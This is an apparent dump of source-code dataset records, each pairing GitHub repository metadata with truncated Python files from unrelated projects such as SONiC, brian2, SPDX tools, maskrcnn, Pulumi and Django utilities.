Python
proj/hps_accel/gateware/stream/stream.py
keadwen/CFU-Playground
74c79158e85e1365170ececd1d91ea3fa48faba0
[ "Apache-2.0" ]
240
2021-03-09T23:32:09.000Z
2022-03-28T14:54:08.000Z
proj/hps_accel/gateware/stream/stream.py
keadwen/CFU-Playground
74c79158e85e1365170ececd1d91ea3fa48faba0
[ "Apache-2.0" ]
283
2021-03-10T00:09:11.000Z
2022-03-31T16:39:40.000Z
proj/hps_accel/gateware/stream/stream.py
keadwen/CFU-Playground
74c79158e85e1365170ececd1d91ea3fa48faba0
[ "Apache-2.0" ]
78
2021-03-10T06:13:39.000Z
2022-03-30T14:09:00.000Z
#!/bin/env python # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
27.75
75
0.642736
from nmigen import Shape from nmigen.hdl.rec import Layout, Record __all__ = ['PayloadDefinition', 'Endpoint', 'connect'] class PayloadDefinition: @staticmethod def cast(obj, *, src_loc_at=0): if isinstance(obj, PayloadDefinition): return obj return PayloadDefiniti...
true
true
f728f7c271ee7c605af31c7fecdfcc131b9064e8
19,096
py
Python
src/pytools/dheng/dhcore.py
septag/darkhammer
dd7e32737059ce6dba0aa79f1ae4a59137db06a7
[ "BSD-2-Clause" ]
68
2015-01-06T08:38:32.000Z
2022-01-20T15:26:17.000Z
src/pytools/dheng/dhcore.py
septag/darkhammer
dd7e32737059ce6dba0aa79f1ae4a59137db06a7
[ "BSD-2-Clause" ]
null
null
null
src/pytools/dheng/dhcore.py
septag/darkhammer
dd7e32737059ce6dba0aa79f1ae4a59137db06a7
[ "BSD-2-Clause" ]
12
2015-10-31T11:30:15.000Z
2020-04-13T18:31:17.000Z
import sys, os, inspect from ctypes import * import math MY_DIR = os.path.dirname(os.path.abspath(inspect.getframeinfo(inspect.currentframe())[0])) HELPER_DIR = os.path.abspath(os.path.join(MY_DIR, '..', 'helpers')) sys.path.append(HELPER_DIR) import dhlog class _API: is_init = False @staticmethod def i...
30.311111
95
0.54116
import sys, os, inspect from ctypes import * import math MY_DIR = os.path.dirname(os.path.abspath(inspect.getframeinfo(inspect.currentframe())[0])) HELPER_DIR = os.path.abspath(os.path.join(MY_DIR, '..', 'helpers')) sys.path.append(HELPER_DIR) import dhlog class _API: is_init = False @staticmethod def i...
true
true
f728f87dd991e699b34d62bb2c156120a76fee44
21,464
py
Python
crm/main.py
PJHsieh/sonic-utilities
4e132c1c86c515076815a64cf22aaf8e0101de84
[ "Apache-2.0" ]
1
2022-01-29T01:31:49.000Z
2022-01-29T01:31:49.000Z
crm/main.py
PJHsieh/sonic-utilities
4e132c1c86c515076815a64cf22aaf8e0101de84
[ "Apache-2.0" ]
9
2019-09-25T05:54:34.000Z
2022-03-30T09:28:26.000Z
crm/main.py
PJHsieh/sonic-utilities
4e132c1c86c515076815a64cf22aaf8e0101de84
[ "Apache-2.0" ]
1
2021-08-30T06:47:30.000Z
2021-08-30T06:47:30.000Z
#!/usr/bin/env python3 import click from swsscommon.swsscommon import ConfigDBConnector from tabulate import tabulate from sonic_py_common import multi_asic from utilities_common.general import load_db_config from utilities_common import multi_asic as multi_asic_util class Crm: def __init__(self, db=None): ...
30.619116
162
0.643729
import click from swsscommon.swsscommon import ConfigDBConnector from tabulate import tabulate from sonic_py_common import multi_asic from utilities_common.general import load_db_config from utilities_common import multi_asic as multi_asic_util class Crm: def __init__(self, db=None): self.cli_mode = None...
true
true
f728f8b82ee1b35cb06195653de9369b9601a04e
20,402
py
Python
brian2/tests/test_codegen.py
Ziaeemehr/brian2
0d28f61881a033f877fb333b5e93c56e5c479b4b
[ "BSD-2-Clause" ]
null
null
null
brian2/tests/test_codegen.py
Ziaeemehr/brian2
0d28f61881a033f877fb333b5e93c56e5c479b4b
[ "BSD-2-Clause" ]
null
null
null
brian2/tests/test_codegen.py
Ziaeemehr/brian2
0d28f61881a033f877fb333b5e93c56e5c479b4b
[ "BSD-2-Clause" ]
null
null
null
from collections import namedtuple import os import numpy as np import pytest from brian2 import prefs, clear_cache, _cache_dirs_and_extensions from brian2.codegen.cpp_prefs import compiler_supports_c99 from brian2.codegen.optimisation import optimise_statements from brian2.codegen.translation import (analyse_identi...
43.316348
134
0.558181
from collections import namedtuple import os import numpy as np import pytest from brian2 import prefs, clear_cache, _cache_dirs_and_extensions from brian2.codegen.cpp_prefs import compiler_supports_c99 from brian2.codegen.optimisation import optimise_statements from brian2.codegen.translation import (analyse_identi...
true
true
f728f8df92eb60ed7b875c23517e93444c46346a
5,568
py
Python
a_other/runner_threading.py
ogorodnikov/m1
06aee1963471897d8c05986e2782e3ca3a107c93
[ "MIT" ]
null
null
null
a_other/runner_threading.py
ogorodnikov/m1
06aee1963471897d8c05986e2782e3ca3a107c93
[ "MIT" ]
null
null
null
a_other/runner_threading.py
ogorodnikov/m1
06aee1963471897d8c05986e2782e3ca3a107c93
[ "MIT" ]
null
null
null
import time import threading import traceback from queue import PriorityQueue from collections import defaultdict from qiskit import IBMQ, Aer, execute from qiskit.providers.ibmq import least_busy from qiskit.tools.monitor import backend_overview, job_monitor from core import app def log(task_id, message): ...
28.553846
104
0.595546
import time import threading import traceback from queue import PriorityQueue from collections import defaultdict from qiskit import IBMQ, Aer, execute from qiskit.providers.ibmq import least_busy from qiskit.tools.monitor import backend_overview, job_monitor from core import app def log(task_id, message): ...
true
true
f728f8e6f71945d2a6718b12de9140b2ecfe37b3
1,294
py
Python
test/test_v1_apply_modifier_list_request.py
shaminmeerankutty/connect-python-sdk
524c8fe344bc3c0340833984970a07d519c4f5be
[ "Apache-2.0" ]
53
2016-08-06T17:12:16.000Z
2020-08-02T19:43:58.000Z
test/test_v1_apply_modifier_list_request.py
shaminmeerankutty/connect-python-sdk
524c8fe344bc3c0340833984970a07d519c4f5be
[ "Apache-2.0" ]
32
2016-08-19T16:32:30.000Z
2020-01-14T18:01:37.000Z
test/test_v1_apply_modifier_list_request.py
shaminmeerankutty/connect-python-sdk
524c8fe344bc3c0340833984970a07d519c4f5be
[ "Apache-2.0" ]
45
2016-09-05T11:58:09.000Z
2020-11-15T16:26:41.000Z
# coding: utf-8 """ Copyright 2017 Square, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable la...
26.408163
96
0.741113
from __future__ import absolute_import import os import sys import unittest import squareconnect from squareconnect.rest import ApiException from squareconnect.models.v1_apply_modifier_list_request import V1ApplyModifierListRequest class TestV1ApplyModifierListRequest(unittest.TestCase): def setUp(self): ...
true
true
f728f995aa93d0b83b79a6116102e1dddf8f6ac2
503
py
Python
src/run.py
jessrenteria/flowbot
82d0c0022ab7c5f72a605cb36456b1ab52bdd2e4
[ "Apache-2.0" ]
null
null
null
src/run.py
jessrenteria/flowbot
82d0c0022ab7c5f72a605cb36456b1ab52bdd2e4
[ "Apache-2.0" ]
null
null
null
src/run.py
jessrenteria/flowbot
82d0c0022ab7c5f72a605cb36456b1ab52bdd2e4
[ "Apache-2.0" ]
null
null
null
import argparse from utils.config import get_config from model.flowbot import Flowbot def main(): parser = argparse.ArgumentParser() parser.add_argument('--train', action='store_true') parser.add_argument('--bot', default='lstm_attention') args = parser.parse_args() testing = not args.train c...
21.869565
58
0.677932
import argparse from utils.config import get_config from model.flowbot import Flowbot def main(): parser = argparse.ArgumentParser() parser.add_argument('--train', action='store_true') parser.add_argument('--bot', default='lstm_attention') args = parser.parse_args() testing = not args.train c...
true
true
f728fa580fac0b74f2b800beae5b806ad9d33649
8,708
py
Python
spdx/parsers/jsonyamlxmlbuilders.py
quaresmajose/tools-python
53c917a1a2491a373efa23e4ef8570b5e863fabc
[ "Apache-2.0" ]
74
2015-12-25T09:43:18.000Z
2022-03-30T00:23:30.000Z
spdx/parsers/jsonyamlxmlbuilders.py
quaresmajose/tools-python
53c917a1a2491a373efa23e4ef8570b5e863fabc
[ "Apache-2.0" ]
184
2016-11-23T15:57:16.000Z
2022-03-15T05:25:59.000Z
spdx/parsers/jsonyamlxmlbuilders.py
quaresmajose/tools-python
53c917a1a2491a373efa23e4ef8570b5e863fabc
[ "Apache-2.0" ]
98
2015-12-13T12:20:34.000Z
2022-03-18T15:28:35.000Z
# Copyright (c) Xavier Figueroa # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, sof...
32.371747
85
0.629306
from spdx.parsers import rdfbuilders from spdx.parsers import tagvaluebuilders from spdx.parsers import validations from spdx.parsers.builderexceptions import SPDXValueError from spdx.parsers.builderexceptions import CardinalityError from spdx.parsers.builderexceptions import OrderError class CreationInfoB...
true
true
f728faab3d96a9b5edcb73fb2f1bcacba109faf4
6,750
py
Python
maskrcnn/data/build.py
kSahatova/MULAN-XAI
7f2ede7cc8ad4e772a3cfe7d52f0a710d5c89d5a
[ "MIT" ]
6
2020-08-31T03:15:02.000Z
2021-12-14T02:33:51.000Z
maskrcnn/data/build.py
kSahatova/MULAN-XAI
7f2ede7cc8ad4e772a3cfe7d52f0a710d5c89d5a
[ "MIT" ]
1
2021-12-15T06:43:59.000Z
2021-12-15T06:45:50.000Z
maskrcnn/data/build.py
kSahatova/MULAN-XAI
7f2ede7cc8ad4e772a3cfe7d52f0a710d5c89d5a
[ "MIT" ]
5
2019-11-26T14:19:36.000Z
2021-11-22T13:49:01.000Z
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import bisect import copy import logging import torch.utils.data from maskrcnn.utils.comm import get_world_size from maskrcnn.utils.imports import import_file from . import datasets as D from . import samplers from .collate_batch import BatchCol...
37.709497
145
0.676593
import bisect import copy import logging import torch.utils.data from maskrcnn.utils.comm import get_world_size from maskrcnn.utils.imports import import_file from . import datasets as D from . import samplers from .collate_batch import BatchCollator, Batch3dceCollator from .transforms import build_transforms from ...
true
true
f728fabd5cf2294bd0939b31fe35c4680ca09bf4
1,088
py
Python
app.py
nidhi988/Deploying-ML-Algo-using-Flask-on-Heroku
9efbd51e8eaf26c9411f430db62d0cc06da34269
[ "MIT" ]
null
null
null
app.py
nidhi988/Deploying-ML-Algo-using-Flask-on-Heroku
9efbd51e8eaf26c9411f430db62d0cc06da34269
[ "MIT" ]
null
null
null
app.py
nidhi988/Deploying-ML-Algo-using-Flask-on-Heroku
9efbd51e8eaf26c9411f430db62d0cc06da34269
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # In[ ]: import os import numpy as np import flask import pickle from flask import Flask,render_template,request app=Flask(__name__) @app.route('/') @app.route('/index') def index: return flask.render_template('index.html') # In[ ]: #prediction function def ValuePredic...
16.738462
67
0.644301
import os import numpy as np import flask import pickle from flask import Flask,render_template,request app=Flask(__name__) @app.route('/') @app.route('/index') def index: return flask.render_template('index.html') def ValuePredictor(to_predict_list): to_predict = np.array(to_predict_list).reshape...
false
true
f728fb56317a5077e89063574c3601f0f6fd25e2
590
py
Python
connexion/openapi_spec_validator/loaders.py
peachfinance/connexion
c2dd9534868db1b68188bec62b001e4dfbb7d372
[ "Apache-2.0" ]
null
null
null
connexion/openapi_spec_validator/loaders.py
peachfinance/connexion
c2dd9534868db1b68188bec62b001e4dfbb7d372
[ "Apache-2.0" ]
null
null
null
connexion/openapi_spec_validator/loaders.py
peachfinance/connexion
c2dd9534868db1b68188bec62b001e4dfbb7d372
[ "Apache-2.0" ]
null
null
null
from yaml.composer import Composer from yaml.parser import Parser from yaml.reader import Reader from yaml.resolver import Resolver from yaml.scanner import Scanner from ..openapi_spec_validator.constructors import ExtendedSafeConstructor class ExtendedSafeLoader( Reader, Scanner, Parser, Composer, ExtendedS...
29.5
78
0.754237
from yaml.composer import Composer from yaml.parser import Parser from yaml.reader import Reader from yaml.resolver import Resolver from yaml.scanner import Scanner from ..openapi_spec_validator.constructors import ExtendedSafeConstructor class ExtendedSafeLoader( Reader, Scanner, Parser, Composer, ExtendedS...
true
true
f728fbb5034433c6c19528a025677582c5ec9d8b
9,816
py
Python
pydavis/db_manager.py
GSEL9/web-scraping
4ff8e7539ea182a481b8044284691015136010a5
[ "MIT" ]
1
2018-06-17T18:18:48.000Z
2018-06-17T18:18:48.000Z
pydavis/db_manager.py
GSEL9/web-scraping
4ff8e7539ea182a481b8044284691015136010a5
[ "MIT" ]
1
2018-06-12T10:17:35.000Z
2018-06-12T12:51:43.000Z
pydavis/db_manager.py
GSEL9/web-scraping
4ff8e7539ea182a481b8044284691015136010a5
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # db_manager.py # # The module is part of pydavis. # """ Interacting with MySQL databases through the DatabaseManager. """ __author__ = 'Severin E. R. Langberg' __email__ = 'Langberg91@gmail.no' __status__ = 'Operational' import pymysql from pydavis import utils from datetime import datet...
27.266667
79
0.580685
__author__ = 'Severin E. R. Langberg' __email__ = 'Langberg91@gmail.no' __status__ = 'Operational' import pymysql from pydavis import utils from datetime import datetime class DatabaseManager: _CHARS_LIMIT = 20 @classmethod def update_limit_varchars(cls, new_limit): utils._check_para...
true
true
f728fbd6e877db07c02c891160f467f15e63c3f5
393
py
Python
stockze/example_app/utils/robinhood_login.py
vendari12/django-ai-algotrade
f20d2691f08ec75f148cd6409b886b1dd6edac78
[ "Apache-1.1" ]
10
2021-06-25T09:54:11.000Z
2022-03-24T19:18:13.000Z
stockze/example_app/utils/robinhood_login.py
vendari12/django-ai-algotrade
f20d2691f08ec75f148cd6409b886b1dd6edac78
[ "Apache-1.1" ]
12
2021-06-24T22:45:11.000Z
2022-03-31T17:17:41.000Z
stockze/example_app/utils/robinhood_login.py
vendari12/django-ai-algotrade
f20d2691f08ec75f148cd6409b886b1dd6edac78
[ "Apache-1.1" ]
2
2021-08-13T21:30:06.000Z
2022-03-24T06:05:16.000Z
import time import robin_stocks.robinhood as rh from pyotp import TOTP as otp from environ import Env env = Env() def robinhood_login(): totp = otp(env('RH_DEVICE_TOKEN')).now() rh.authentication.login( username=env('RH_USERNAME'), password=env('RH_PASSWORD'), mfa_code=totp ) ...
20.684211
44
0.669211
import time import robin_stocks.robinhood as rh from pyotp import TOTP as otp from environ import Env env = Env() def robinhood_login(): totp = otp(env('RH_DEVICE_TOKEN')).now() rh.authentication.login( username=env('RH_USERNAME'), password=env('RH_PASSWORD'), mfa_code=totp ) ...
true
true
f728fbdbcf1fb1511aa415cb515dce27dd695803
2,475
py
Python
doc/examples/observer.py
djkool/OcempGUI3
43a68033cb0dbad10654231299cb762cd18b7c25
[ "BSD-2-Clause" ]
null
null
null
doc/examples/observer.py
djkool/OcempGUI3
43a68033cb0dbad10654231299cb762cd18b7c25
[ "BSD-2-Clause" ]
null
null
null
doc/examples/observer.py
djkool/OcempGUI3
43a68033cb0dbad10654231299cb762cd18b7c25
[ "BSD-2-Clause" ]
null
null
null
# Subject/Observer usage example. from ocempgui.events import Subject, IObserver # The subject that should notify observers about state changes. class MyObject (Subject): def __init__ (self): Subject.__init__ (self, "MyObject") self._x = "Simple Attribute" self._y = 1234567890 self....
29.117647
77
0.534949
from ocempgui.events import Subject, IObserver class MyObject (Subject): def __init__ (self): Subject.__init__ (self, "MyObject") self._x = "Simple Attribute" self._y = 1234567890 self._z = None def get_x (self): return self._x def set_x (self, value): ...
false
true
f728fc01673c1c4f062e079427d221749f3040d6
11,111
py
Python
src/attacks/attack.py
Kronemeyer/project-athena
0e79cba1c4d30146326ce7bd311f69f2ee845e80
[ "MIT" ]
2
2020-10-01T08:27:13.000Z
2020-10-01T20:23:04.000Z
src/attacks/attack.py
Kronemeyer/project-athena
0e79cba1c4d30146326ce7bd311f69f2ee845e80
[ "MIT" ]
3
2020-09-29T13:57:24.000Z
2020-10-01T20:26:03.000Z
src/attacks/attack.py
Kronemeyer/project-athena
0e79cba1c4d30146326ce7bd311f69f2ee845e80
[ "MIT" ]
1
2020-12-04T07:56:32.000Z
2020-12-04T07:56:32.000Z
""" Implement white-box attacks on top of IBM ART. @author: Ying Meng (y(dot)meng201011(at)gmail(dot)com) """ import numpy as np import torch # from art.attacks.evasion.fast_gradient import FastGradientMethod # from art.attacks.evasion.projected_gradient_descent import ProjectedGradientDescent from art.attacks.evasio...
37.792517
116
0.676177
import numpy as np import torch from art.attacks.evasion.carlini import CarliniL2Method, CarliniLInfMethod from art.attacks.evasion.deepfool import DeepFool from art.attacks.evasion.saliency_map import SaliencyMapMethod from art.attacks.evasion.iterative_method import BasicIterativeMethod from art.attacks.evasion.s...
true
true
f728fcac6ccca36a457c58b9703f275e34dc84ed
2,607
py
Python
polus-cell-nuclei-segmentation/src/dsb2018_topcoders/selim/losses.py
nishaq503/polus-plugins-dl
511689e82eb29a84761538144277d1be1af7aa44
[ "MIT" ]
null
null
null
polus-cell-nuclei-segmentation/src/dsb2018_topcoders/selim/losses.py
nishaq503/polus-plugins-dl
511689e82eb29a84761538144277d1be1af7aa44
[ "MIT" ]
1
2021-09-09T23:22:16.000Z
2021-09-09T23:22:16.000Z
polus-cell-nuclei-segmentation/src/dsb2018_topcoders/selim/losses.py
nishaq503/polus-plugins-dl
511689e82eb29a84761538144277d1be1af7aa44
[ "MIT" ]
4
2021-06-22T13:54:52.000Z
2022-01-26T19:23:39.000Z
import keras.backend as K from keras.losses import categorical_crossentropy def hard_dice_coef(y_true, y_pred, smooth=1e-3): y_true_f = K.flatten(K.round(y_true[..., 0])) y_pred_f = K.flatten(K.round(y_pred[..., 0])) intersection = K.sum(y_true_f * y_pred_f) return 100. * (2. * intersection + ...
35.22973
168
0.642501
import keras.backend as K from keras.losses import categorical_crossentropy def hard_dice_coef(y_true, y_pred, smooth=1e-3): y_true_f = K.flatten(K.round(y_true[..., 0])) y_pred_f = K.flatten(K.round(y_pred[..., 0])) intersection = K.sum(y_true_f * y_pred_f) return 100. * (2. * intersection + ...
true
true
f728fd4af10f998ca802829dd4c857af4852e38b
3,108
py
Python
tests/components/samsungtv/test_init.py
mikan-megane/core
837220cce40890e296920d33a623adbc11bd15a6
[ "Apache-2.0" ]
5
2018-10-23T14:15:05.000Z
2021-11-26T06:38:44.000Z
tests/components/samsungtv/test_init.py
mikan-megane/core
837220cce40890e296920d33a623adbc11bd15a6
[ "Apache-2.0" ]
79
2020-07-23T07:13:37.000Z
2022-03-22T06:02:37.000Z
tests/components/samsungtv/test_init.py
mikan-megane/core
837220cce40890e296920d33a623adbc11bd15a6
[ "Apache-2.0" ]
2
2019-06-11T12:13:14.000Z
2020-12-24T23:17:53.000Z
"""Tests for the Samsung TV Integration.""" from unittest.mock import Mock, call, patch from homeassistant.components.media_player.const import DOMAIN, SUPPORT_TURN_ON from homeassistant.components.samsungtv.const import ( CONF_ON_ACTION, DOMAIN as SAMSUNGTV_DOMAIN, METHOD_WEBSOCKET, ) from homeassistant.c...
33.419355
84
0.69112
from unittest.mock import Mock, call, patch from homeassistant.components.media_player.const import DOMAIN, SUPPORT_TURN_ON from homeassistant.components.samsungtv.const import ( CONF_ON_ACTION, DOMAIN as SAMSUNGTV_DOMAIN, METHOD_WEBSOCKET, ) from homeassistant.components.samsungtv.media_player import SUPP...
true
true
f728fdc393576c7d300b95276d9f3b1aeee7cd65
16,567
py
Python
toolium/driver_wrapper.py
Telefonica/toolium
3921cf94164ae1a2cd27d94197f0b145f2498541
[ "Apache-2.0" ]
94
2016-02-15T11:32:36.000Z
2022-02-14T12:31:42.000Z
toolium/driver_wrapper.py
Telefonica/toolium
3921cf94164ae1a2cd27d94197f0b145f2498541
[ "Apache-2.0" ]
225
2016-03-18T16:14:21.000Z
2022-03-30T10:21:26.000Z
toolium/driver_wrapper.py
Telefonica/toolium
3921cf94164ae1a2cd27d94197f0b145f2498541
[ "Apache-2.0" ]
65
2016-05-12T13:23:56.000Z
2022-02-16T08:33:18.000Z
# -*- coding: utf-8 -*- u""" Copyright 2015 Telefónica Investigación y Desarrollo, S.A.U. This file is part of Toolium. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/lic...
46.536517
120
0.669584
import logging.config import os import screeninfo from toolium.config_driver import ConfigDriver from toolium.config_parser import ExtendedConfigParser from toolium.driver_wrappers_pool import DriverWrappersPool from toolium.utils.driver_utils import Utils from toolium.utils.path_utils import get_valid_filename c...
true
true
f72900502ab88493c523bb3da0c4a24be5629b00
6,081
py
Python
sdk/python/pulumi_azure_nextgen/compute/latest/ssh_public_key.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_nextgen/compute/latest/ssh_public_key.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_nextgen/compute/latest/ssh_public_key.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __a...
43.748201
391
0.650222
import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __all__ = ['SshPublicKey'] class SshPublicKey(pulumi.CustomResource): def __init__(__self__, resource_name: str, opts: Optional[...
true
true
f729008890b8db3dc09657c2381c73eda7e9edb9
20,265
py
Python
ns-allinone-3.35/bake/bake/ModuleEnvironment.py
usi-systems/cc
487aa9e322b2b01b6af3a92e38545c119e4980a3
[ "Apache-2.0" ]
null
null
null
ns-allinone-3.35/bake/bake/ModuleEnvironment.py
usi-systems/cc
487aa9e322b2b01b6af3a92e38545c119e4980a3
[ "Apache-2.0" ]
null
null
null
ns-allinone-3.35/bake/bake/ModuleEnvironment.py
usi-systems/cc
487aa9e322b2b01b6af3a92e38545c119e4980a3
[ "Apache-2.0" ]
1
2019-10-23T15:15:27.000Z
2019-10-23T15:15:27.000Z
############################################################################### # Copyright (c) 2013 INRIA # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; # # This program is distr...
37.320442
116
0.540785
Libs+[self._lib_path()] elif program.endswith(".h"): toFindIn=['/usr/include', '/usr/local/include', '/usr/lib','/opt/local/include', '/usr/local/opt'] if toFindIn : for eachdir in toFindIn: if sys.platform == "darwin": ...
true
true
f729009d866d7d8781b0cb23a905d6c759bb4150
1,307
py
Python
runtests.py
solarmonkey/django-taggit-serializer
ed33bd44e0b5b903af9cb32c8b10236c7cd3a925
[ "BSD-3-Clause" ]
203
2015-02-23T19:29:46.000Z
2022-02-23T09:27:59.000Z
runtests.py
adriangzz/dj-taggit-serializer
88386daa9c981231de8be12cff032e7711dfdc4e
[ "BSD-3-Clause" ]
50
2015-03-18T01:37:49.000Z
2022-01-31T20:42:28.000Z
runtests.py
adriangzz/dj-taggit-serializer
88386daa9c981231de8be12cff032e7711dfdc4e
[ "BSD-3-Clause" ]
54
2015-03-08T17:23:54.000Z
2022-03-19T11:34:25.000Z
import sys try: from django.conf import settings settings.configure( DEBUG=True, USE_TZ=True, DATABASES={ "default": { "ENGINE": "django.db.backends.sqlite3", } }, ROOT_URLCONF="taggit_serializer.urls", INSTALLED_APPS=[ ...
21.783333
85
0.560061
import sys try: from django.conf import settings settings.configure( DEBUG=True, USE_TZ=True, DATABASES={ "default": { "ENGINE": "django.db.backends.sqlite3", } }, ROOT_URLCONF="taggit_serializer.urls", INSTALLED_APPS=[ ...
true
true
f72901b0081120b8e5043dcc98793760f0fa0a8f
862
py
Python
translation.py
Mahmud8421/TGraph-Bot
c2228074206f49ec65b2c2ea7f146fd756be7427
[ "MIT" ]
null
null
null
translation.py
Mahmud8421/TGraph-Bot
c2228074206f49ec65b2c2ea7f146fd756be7427
[ "MIT" ]
null
null
null
translation.py
Mahmud8421/TGraph-Bot
c2228074206f49ec65b2c2ea7f146fd756be7427
[ "MIT" ]
null
null
null
class Translation(object): START_TEXT = """<b>Hai {}!!!</b> <code>Im Simple Telegraph Uploader Bot😜</code> <b>» You Must Join My Updates Channel for using me</b> <i>Click Help Button For More Details</i>""" HELP_TEXT = """<b>Hey {}!!!,Please Folow these Steps</b> ➥ <code>Send any Image, Gif or Video(Mp4 Only) ...
45.368421
77
0.61949
class Translation(object): START_TEXT = """<b>Hai {}!!!</b> <code>Im Simple Telegraph Uploader Bot😜</code> <b>» You Must Join My Updates Channel for using me</b> <i>Click Help Button For More Details</i>""" HELP_TEXT = """<b>Hey {}!!!,Please Folow these Steps</b> ➥ <code>Send any Image, Gif or Video(Mp4 Only) ...
true
true
f729022dfa20b18a3e8cd789e227b05f928ecf4c
3,104
py
Python
tests/test_toposort.py
LaudateCorpus1/libconda
28d77a7506f76cbf537c1f0ddc947384cab15415
[ "BSD-3-Clause" ]
3
2018-01-05T20:27:44.000Z
2018-10-22T22:58:39.000Z
tests/test_toposort.py
conda/libconda
28d77a7506f76cbf537c1f0ddc947384cab15415
[ "BSD-3-Clause" ]
7
2016-07-22T15:21:20.000Z
2019-04-30T11:41:38.000Z
tests/test_toposort.py
LaudateCorpus1/libconda
28d77a7506f76cbf537c1f0ddc947384cab15415
[ "BSD-3-Clause" ]
9
2017-05-05T17:52:05.000Z
2021-08-23T05:42:10.000Z
import unittest from libconda.toposort import toposort, pop_key class TopoSortTests(unittest.TestCase): def test_pop_key(self): key = pop_key({'a':{'b', 'c'}, 'b':{'c'}}) self.assertEqual(key, 'b') key = pop_key({'a':{'b'}, 'b':{'c', 'a'}}) self.assertEqual(key, 'a') key ...
36.952381
97
0.542526
import unittest from libconda.toposort import toposort, pop_key class TopoSortTests(unittest.TestCase): def test_pop_key(self): key = pop_key({'a':{'b', 'c'}, 'b':{'c'}}) self.assertEqual(key, 'b') key = pop_key({'a':{'b'}, 'b':{'c', 'a'}}) self.assertEqual(key, 'a') key ...
true
true
f729023ed17c72b9cb67e504b14c51bfc35a5b63
896
py
Python
boardfarm/tests/netperf_rfc2544.py
mattsm/boardfarm
100521fde1fb67536682cafecc2f91a6e2e8a6f8
[ "BSD-3-Clause-Clear" ]
40
2018-03-23T14:17:13.000Z
2022-02-05T05:59:41.000Z
boardfarm/tests/netperf_rfc2544.py
mattsm/boardfarm
100521fde1fb67536682cafecc2f91a6e2e8a6f8
[ "BSD-3-Clause-Clear" ]
1
2020-04-17T01:20:12.000Z
2020-04-20T20:42:00.000Z
boardfarm/tests/netperf_rfc2544.py
mattsm/boardfarm
100521fde1fb67536682cafecc2f91a6e2e8a6f8
[ "BSD-3-Clause-Clear" ]
9
2018-04-11T08:31:14.000Z
2020-08-06T14:55:35.000Z
# Copyright (c) 2015 # # All rights reserved. # # This file is distributed under the Clear BSD license. # The full text can be found in LICENSE in the root directory. from boardfarm.devices import prompt from boardfarm.tests import rootfs_boot class NetperfRFC2544(rootfs_boot.RootFSBootTest): '''Single test to s...
32
75
0.592634
from boardfarm.devices import prompt from boardfarm.tests import rootfs_boot class NetperfRFC2544(rootfs_boot.RootFSBootTest): def runTest(self): board = self.dev.board lan = self.dev.lan for sz in ["74", "128", "256", "512", "1024", "1280", "1518"]: print("running %s U...
true
true
f72903ba078395125701457a4993dee528185b05
9,825
py
Python
neuralhydrology/datasetzoo/camelsus.py
visr/neuralhydrology
77f6c9214945c8e857e3b9545afe8470da751cab
[ "BSD-3-Clause" ]
null
null
null
neuralhydrology/datasetzoo/camelsus.py
visr/neuralhydrology
77f6c9214945c8e857e3b9545afe8470da751cab
[ "BSD-3-Clause" ]
null
null
null
neuralhydrology/datasetzoo/camelsus.py
visr/neuralhydrology
77f6c9214945c8e857e3b9545afe8470da751cab
[ "BSD-3-Clause" ]
null
null
null
from pathlib import Path from typing import Dict, List, Tuple, Union import numpy as np import pandas as pd import xarray from neuralhydrology.datasetzoo.basedataset import BaseDataset from neuralhydrology.utils.config import Config class CamelsUS(BaseDataset): """Data set class for the CAMELS US data set by [#...
41.631356
120
0.63084
from pathlib import Path from typing import Dict, List, Tuple, Union import numpy as np import pandas as pd import xarray from neuralhydrology.datasetzoo.basedataset import BaseDataset from neuralhydrology.utils.config import Config class CamelsUS(BaseDataset): def __init__(self, cfg: Config, ...
true
true
f72903d52ab156ace0f6587404165e6f3dd3d608
754
py
Python
app/crud/crud_actor.py
luovkle/FastAPI-Movie-Manager
716eeb66a63a47488c4f3fa390321361fd94dbc6
[ "MIT" ]
null
null
null
app/crud/crud_actor.py
luovkle/FastAPI-Movie-Manager
716eeb66a63a47488c4f3fa390321361fd94dbc6
[ "MIT" ]
null
null
null
app/crud/crud_actor.py
luovkle/FastAPI-Movie-Manager
716eeb66a63a47488c4f3fa390321361fd94dbc6
[ "MIT" ]
null
null
null
from typing import Optional from sqlalchemy.orm import Session from app.models.actor import Actor from app.schemas.actor import ActorCreate, ActorInDB from app.core.exceptions import exceptions class CRUDActor: def get_by_name(self, db: Session, name: str) -> Optional[Actor]: return db.query(Actor).filt...
29
70
0.696286
from typing import Optional from sqlalchemy.orm import Session from app.models.actor import Actor from app.schemas.actor import ActorCreate, ActorInDB from app.core.exceptions import exceptions class CRUDActor: def get_by_name(self, db: Session, name: str) -> Optional[Actor]: return db.query(Actor).filt...
true
true
f72903f757a2aae5f78e0e7be21844fecc72d6ad
153
py
Python
src/poetry/console/exceptions.py
hadialqattan/poetry
02444308831358c26595c0f36ea263a3e02cb5d4
[ "MIT" ]
2
2022-01-15T20:22:15.000Z
